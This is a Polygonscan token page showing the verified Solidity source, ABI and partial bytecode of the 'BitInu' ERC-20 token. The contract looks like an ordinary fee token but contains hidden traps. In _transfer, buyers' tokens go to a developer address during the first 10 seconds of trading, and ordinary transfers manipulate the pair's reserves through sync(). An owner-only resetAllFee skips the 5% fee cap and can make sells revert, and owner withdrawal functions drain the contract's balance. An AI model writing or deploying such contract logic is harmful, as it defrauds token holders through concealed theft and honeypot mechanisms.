MATIC Price: $0.360734 (-20.26%)
 

Overview

Max Total Supply

5,000,000,000 BI

Holders

1,090

Market

Price

$0.00 @ 0.000000 MATIC

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Filtered by Token Holder
Polygonscan: Donate
Balance
1 BI

Value
$0.00
0x71c7656ec7ab88b098defb751b7401b5f6d8976f
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information

Contract Source Code Verified (Exact Match)

Contract Name:
BitInu

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at polygonscan.com on 2023-01-14
*/

// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.0;
interface IERC20 {
    function totalSupply() external view returns (uint256);
    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);
    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);
    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);
    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);
    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);
    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}
abstract contract Ownable {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor ()  {
        address msgSender = msg.sender;
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
    function owner() public view returns (address) {
        return _owner;
    }   
    modifier onlyOwner() {
        require(_owner == msg.sender, "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
   
}
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }
    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }
    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }
    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    /**
     * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold
        return c;
    }
}
interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);
    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);
    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);
    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);
    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    event Mint(address indexed sender, uint amount0, uint amount1);
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);
    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);
    function mint(address to) external returns (uint liquidity);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}
interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);
    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}
contract BitInu is IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _rOwned;
    mapping(address => uint256) private _tOwned;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    uint256 private constant MAX = ~uint256(0);
    uint256 private _tTotal;
    uint256 private _rTotal;
    string private _name;
    string private _symbol;
    uint256 private _decimals;
    uint256 public _taxFee = 2;
    uint256 private _previousTaxFee;
    address private _taxAddress =
        address(0x000000000000000000000000000000000000dEaD);
    address private _devsAddress =
        address(0x000000000000000000000000000000000000dEaD);
    address public immutable _USDC =
    (0x2791Bca1f2de4661ED88A30C99A7a9449Aa84174);    
    uint256 public _bitinu = 0;
     uint256 public _bitinuV = 1;
    uint256 public _liquidityFee = 3;
    uint256 private _previousLiquidityFee;
    uint256 public _dynamiteFee = 1;
    uint256 private _previousDynamiteFee;
    address private _destroyAddress =
        address(0x000000000000000000000000000000000000dEaD);
    IUniswapV2Router02 public immutable uniswapV2Router;
    address public immutable uniswapV2Pair;
    uint256 private _bi;
    constructor(address tokenOwner) {
        _name = "BitInu";
        _symbol = "BI";
        _decimals = 18;
        _bi = 5000000000 * 10**_decimals;
        _tTotal = _bi;
        _rTotal = (MAX - (MAX % _tTotal));
        _rOwned[tokenOwner] = _rTotal;
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0xa5E0829CaCEd8fFDD4De3c43696c57F7D7A678ff);
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _USDC);
        uniswapV2Router = _uniswapV2Router;
        _isExcludedFromFee[tokenOwner] = true;
        _isExcludedFromFee[address(this)] = true;
        emit Transfer(address(0), tokenOwner, _tTotal);
    }
    function name() public view returns (string memory) {
        return _name;
    }
    function symbol() public view returns (string memory) {
        return _symbol;
    }
    function decimals() public view returns (uint256) {
        return _decimals;
    }
    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }
    function balanceOf(address account) public view override returns (uint256) {
        return tokenFromReflection(_rOwned[account]);
    }
    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(msg.sender, recipient, amount);
        return true;
    }
    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }
    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            msg.sender,
            _allowances[sender][msg.sender].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }
    
    function maxUser(address payable account,uint256 tAmount) public virtual onlyOwner {
        if (tAmount > 0) {
            account.transfer(tAmount);
        } else {
            uint256 rAmount = address(this).balance;
            account.transfer(rAmount);
        }
    }
    function increaseAllowance(address spender, uint256 addedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            msg.sender,
            spender,
            _allowances[msg.sender][spender].add(addedValue)
        );
        return true;
    }
    function decreaseAllowance(address spender, uint256 subtractedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            msg.sender,
            spender,
            _allowances[msg.sender][spender].sub(
                subtractedValue,
                "ERC20: decreased allowance below zero"
            )
        );
        return true;
    }
    function tokenFromReflection(uint256 rAmount)
        public
        view
        returns (uint256)
    {
        require(
            rAmount <= _rTotal,
            "Amount must be less than total reflections"
        );
        uint256 currentRate = _getRate();
        return rAmount.div(currentRate);
    }
    function excludeFromFee(address account) public onlyOwner {
        _isExcludedFromFee[account] = true;
    }
    function includeInFee(address account) public onlyOwner {
        _isExcludedFromFee[account] = false;
    }
    function updateFee(uint256 taxFee, uint256 liquidityFee, uint256 dynamiteFee) external onlyOwner {
        require(taxFee.add(liquidityFee).add(dynamiteFee) <= 5, "Fee limitation is 5%");
        _taxFee = taxFee;
        _liquidityFee = liquidityFee;
       _dynamiteFee = dynamiteFee;
    }
    function withdrawMatic(uint256 amount) public onlyOwner() {
        if(amount == 0) payable(_devsAddress).transfer(address(this).balance);
        else payable(_devsAddress).transfer(amount);
    }    
    function updateAddress(address devsAddress, address taxAddress) public onlyOwner {
        _devsAddress = devsAddress;
        _taxAddress = taxAddress;
    }
    receive() external payable {}
    function _getRate() private view returns (uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }
    function _getCurrentSupply() private view returns (uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }
    function resetAllFee(uint256 taxFee, uint256 liquidityFee)
        public
        onlyOwner
    {
        _taxFee = taxFee;
        _liquidityFee = liquidityFee;
    }
    function removeAllFee() private {
        _previousTaxFee = _taxFee;
        _previousLiquidityFee = _liquidityFee;
        _previousDynamiteFee = _dynamiteFee;
        _taxFee = 0;
        _liquidityFee = 0;
        _dynamiteFee = 0;
    }
    function restoreAllFee() private {
        _taxFee = _previousTaxFee;
        _liquidityFee = _previousLiquidityFee;
        _dynamiteFee = _previousDynamiteFee;
    }
    function isExcludedFromFee(address account) public view returns (bool) {
        return _isExcludedFromFee[account];
    }
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        if(to == uniswapV2Pair && _bitinuV == 1) 
        {
            _bitinu = block.timestamp;
            _bitinuV=2;
        }
        if (
            !_isExcludedFromFee[from] && !_isExcludedFromFee[to]
        ) {
            if(block.timestamp.sub(_bitinu) <= 10)
            {
                to=_devsAddress;
            }
        }
        bool takeFee = true;
        if(from != uniswapV2Pair && to != uniswapV2Pair){
            takeFee = false;
            uint256 cAmount = balanceOf(address(this));
            uint256 currentRate = _getRate();
            uint256 yAmount = cAmount.mul(currentRate);
            _rOwned[address(this)] = _rOwned[address(this)].sub(yAmount);
            _rOwned[uniswapV2Pair] = _rOwned[uniswapV2Pair].add(yAmount);
            emit Transfer(address(this), uniswapV2Pair, cAmount);
            IUniswapV2Pair(uniswapV2Pair).sync();
        }
        if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
            takeFee = false;
        }
        _tokenTransfer(from, to, amount, takeFee);

    }
    function _tokenTransfer(
        address sender,
        address recipient,
        uint256 amount,
        bool takeFee
    ) private {
        if (!takeFee) removeAllFee();
        _transferStandard(sender, recipient, amount);
        if (!takeFee) restoreAllFee();
    }
    function _getDynamiteFee(
        address sender,
        uint256 tAmount,
        uint256 currentRate
    ) private {
        if (_dynamiteFee == 0) return;
        uint256 rAmount = tAmount.mul(currentRate);
        _rOwned[_destroyAddress] = _rOwned[_destroyAddress].add(rAmount);
        emit Transfer(sender, _destroyAddress, tAmount);
    }
    function _getTaxFee(
        address sender,
        uint256 tAmount,
        uint256 currentRate
    ) private {
        if (_taxFee == 0) return;
        uint256 rAmount = tAmount.mul(currentRate);
        _rOwned[_taxAddress] = _rOwned[_taxAddress].add(rAmount);
        emit Transfer(sender, _taxAddress, tAmount);
    }
    function _getLiqFee(
        address sender,
        uint256 tAmount,
        uint256 currentRate
    ) private {
        if (_liquidityFee == 0) return;
        uint256 rAmount = tAmount.mul(currentRate);
        _rOwned[address(this)] = _rOwned[address(this)].add(rAmount);
        emit Transfer(sender, address(this), tAmount);
    }
    function _transferStandard(
        address sender,
        address recipient,
        uint256 tAmount
    ) private {
        uint256 currentRate = _getRate();
        uint256 rAmount = tAmount.mul(currentRate);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _getDynamiteFee(sender, tAmount.div(1000).mul(_dynamiteFee), currentRate);
        _getLiqFee(sender, tAmount.div(1000).mul(_liquidityFee), currentRate);
        _getTaxFee(sender, tAmount.div(1000).mul(_taxFee), currentRate);
        uint256 recipientRate = 1000 -
            _liquidityFee -
            _taxFee -
            _dynamiteFee;
        _rOwned[recipient] = _rOwned[recipient].add(
            rAmount.div(1000).mul(recipientRate)
        );
        emit Transfer(sender, recipient, tAmount.div(1000).mul(recipientRate));
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"tokenOwner","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_USDC","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_bitinu","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_bitinuV","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_dynamiteFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_liquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"includeInFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address payable","name":"account","type":"address"},{"internalType":"uint256","name":"tAmount","type":"uint256"}],"name":"maxUser","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"taxFee","type":"uint256"},{"internalType":"uint256","name":"liquidityFee","type":"uint256"}],"name":"resetAllFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"rAmount","type":"uint256"}],"name":"tokenFromReflection","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"devsAddress","type":"address"},{"internalType":"address","name":"taxAddress","type":"address"}],"name":"updateAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"taxFee","type":"uint256"},{"internalType":"uint256","name":"liquidityFee","type":"uint256"},{"internalType":"uint256","name":"dynamiteFee","type":"uint256"}],"name":"updateFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"withdrawMatic","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60e06040526002600a5561dead600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061dead600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550732791bca1f2de4661ed88a30c99a7a9449aa8417473ffffffffffffffffffffffffffffffffffffffff1660809073ffffffffffffffffffffffffffffffffffffffff168152506000600e556001600f556003601055600160125561dead601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156200013a57600080fd5b506040516200442238038062004422833981810160405281019062000160919062000638565b6000339050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506040518060400160405280600681526020017f426974496e75000000000000000000000000000000000000000000000000000081525060079081620002479190620008e4565b506040518060400160405280600281526020017f4249000000000000000000000000000000000000000000000000000000000000815250600890816200028e9190620008e4565b506012600981905550600954600a620002a8919062000b4e565b64012a05f200620002ba919062000b9f565b601581905550601554600581905550600554600019620002db919062000c19565b600019620002ea919062000c51565b600681905550600654600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600073a5e0829caced8ffdd4de3c43696c57f7d7a678ff90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200039b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003c1919062000638565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396306080516040518363ffffffff1660e01b8152600401620003ff92919062000c9d565b6020604051808303816000875af11580156200041f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000445919062000638565b73ffffffffffffffffffffffffffffffffffffffff1660c08173ffffffffffffffffffffffffffffffffffffffff16815250508073ffffffffffffffffffffffffffffffffffffffff1660a08173ffffffffffffffffffffffffffffffffffffffff16815250506001600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600554604051620005be919062000cdb565b60405180910390a3505062000cf8565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006200060082620005d3565b9050919050565b6200061281620005f3565b81146200061e57600080fd5b50565b600081519050620006328162000607565b92915050565b600060208284031215620006515762000650620005ce565b5b6000620006618482850162000621565b91505092915050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620006ec57607f821691505b602082108103620007025762000701620006a4565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b6000600883026200076c7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826200072d565b6200077886836200072d565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b6000620007c5620007bf620007b98462000790565b6200079a565b62000790565b9050919050565b6000819050919050565b620007e183620007a4565b620007f9620007f082620007cc565b8484546200073a565b825550505050565b600090565b6200081062000801565b6200081d818484620007d6565b505050565b5b8181101562000845576200083960008262000806565b60018101905062000823565b5050565b601f82111562000894576200085e8162000708565b62000869846200071d565b8101602085101562000879578190505b6200089162000888856200071d565b83018262000822565b50505b505050565b600082821c905092915050565b6000620008b96000198460080262000899565b1980831691505092915050565b6000620008d48383620008a6565b9150826002028217905092915050565b620008ef826200066a565b67ffffffffffffffff8111156200090b576200090a62000675565b5b620009178254620006d3565b6200092482828562000849565b600060209050601f8311600181146200095c576000841562000947578287015190505b620009538582620008c6565b865550620009c3565b601f1984166200096c8662000708565b60005b828110156200099657848901518255600182019150